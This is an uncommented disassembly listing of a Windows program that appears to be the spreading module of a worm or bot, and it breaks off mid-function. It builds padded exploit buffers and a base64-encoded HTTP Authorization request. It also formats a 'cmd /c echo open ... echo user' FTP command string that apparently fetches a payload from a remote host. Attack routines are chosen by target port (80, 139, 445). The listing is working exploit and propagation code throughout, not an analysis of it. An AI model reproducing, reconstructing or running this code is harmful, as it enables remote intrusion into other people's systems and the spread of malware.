		call	sub_40CCE2
		push	3
		push	offset dword_432038
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323B4
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_43203C
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323A8
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323A4
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323A0
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_432394
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_43238F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D16F


loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------


loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB9EC


loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB9D0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA24
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; ___:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------


loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320CC
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4320FC
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE6EC
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_432044
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259


loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1


loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl


loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: ___:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432108
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1


loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2


loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]


loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1


loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx


loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax


loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_432154[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F


loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi


loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]


loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484


loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx


loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: ___:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DB88
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------


loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax


loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]


loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1


loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx


loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432300
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB710
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432198
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------


loc_40D63B:				; CODE XREF: ___:0040D632j
		mov	[ebp-0Ch], esi


loc_40D63E:				; CODE XREF: ___:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB9D4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------


loc_40D6E9:				; CODE XREF: ___:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------


loc_40D703:				; CODE XREF: ___:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8


loc_40D71B:				; CODE XREF: ___:0040D701j
		add	esp, 0Ch


loc_40D71E:				; CODE XREF: ___:0040D6E7j
		movzx	esi, al


loc_40D721:				; CODE XREF: ___:0040D69Aj
					; ___:0040D70Dj
		push	ebx
		call	dword_4CBA6C
		test	esi, esi
		jnz	short loc_40D737


loc_40D72C:				; CODE XREF: ___:0040D657j
		push	3E8h
		nop
		call	near ptr 26A044Bh


loc_40D737:				; CODE XREF: ___:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E


loc_40D744:				; CODE XREF: ___:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40D765:				; CODE XREF: ___:0040D74Ej
		mov	eax, esi


loc_40D767:				; CODE XREF: ___:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88


loc_40D76C:				; CODE XREF: sub_426A88+3j
					; ___:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A


loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A


loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173


loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]


loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688


loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688


loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688


loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A


loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977


